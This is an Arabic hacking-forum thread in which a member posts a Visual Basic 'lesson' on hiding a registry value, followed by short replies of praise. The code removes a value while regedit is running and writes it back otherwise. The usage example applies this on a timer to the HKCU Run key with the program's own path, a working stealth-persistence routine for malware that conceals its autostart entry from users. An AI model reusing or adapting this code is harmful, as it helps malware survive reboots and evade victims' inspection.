1. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
الكاتب : !»°بہًكہًر الہًعہًراقہًي°«! | المشاهدات : 946 | الردود : 33
حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:

    السلام عليكم ورحمه الله وبركاته
    كيف الحال اعضاء وزوار ومشرفين عرق تيم
    عسا ان كونوا بافضل حال
    لا احب المقدمات ندخل في المهم

    درس اليوم اخفاء قيمه الرجستر
    اتركم مع الاكواد


    كود:
    Public Enum HKEY
            ClassesRoot
            CurrentUser
            LocalMachine
            Users
            CurrentConfig
        End Enum
    
        Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String)
            Dim List As New List(Of String)
            For Each Proc As Process In Process.GetProcesses
                List.Add(Proc.ProcessName)
            Next
            If List.Contains("regedit") Then
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                End Select
            Else
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                     End If
                End Select
            End If
        End Sub
    
    *=== تحديد كود ===*
    الاستخدام
    كود:
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    HideValueFromRegistry(HKEY.CurrentUser, "Software\Microsoft\Windows\CurrentVersion\Run", Me.Text, Application.ExecutablePath)
    End Sub 
    *=== تحديد كود ===*
    الي هنا انتهى الدرس ارجو ان يكون نال اعجابكم

    اهداء
    الئ
    امير ايكل
    المعاقب الصدري
    علي الصقور
    مخلد هكسور
    محمد العراقي

    ار[FONT]
     
  2. حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    381
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    50
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حلؤؤ عاشت ايدك
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  3. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حبيب قلبي حازم منو الموضوع
     
  4. وائل الاسدي Developer

    الأنتساب:
    ‏23 فبراير 2015
    المشاركات:
    45
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    30
    الجنس:
    ذكر
    الوظيفة:
    موظف في وزارة الداخلية
    الإقامة:
    IRAQ
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Delphi
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    عاشت ايدك استمر:!."​
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  5. حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    381
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    50
    الجنس:
    ذكر
    نظام التشغيل:
    windows 7
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    نورك حبي
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  6. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    وايدك خويه
     
  7. عہلي الصہقہور هنہا <span style="font-weight: bold; text-shadow: #BBBB V • I • P

    الأنتساب:
    ‏29 نوفمبر 2014
    المشاركات:
    283
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    50
    الإقامة:
    ألعراق ألعظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام ورحمة الله وبركاتة حبيبي بكر
    عاشت ايدك مبدع وربي استمر ولاتحرمنا من ابداعك


    وشكرا على الاهداء حياتي بكر
     
  8. rebih Developer

    الأنتساب:
    ‏11 مايو 2014
    المشاركات:
    91
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows xp
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    مشكوور واصل بدون فواصل
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  9. !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм مراقب عآم

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    638
    الإعجابات المتلقاة:
    1,416
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    منور الموضوع. كبدي
     
  10. سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    701
    الإعجابات المتلقاة:
    48
    نقاط الجائزة:
    75
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام مبدع حبيبي :ُeُe0y:
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
حالة الموضوع:
مغلق

مشاركة هذه الصفحة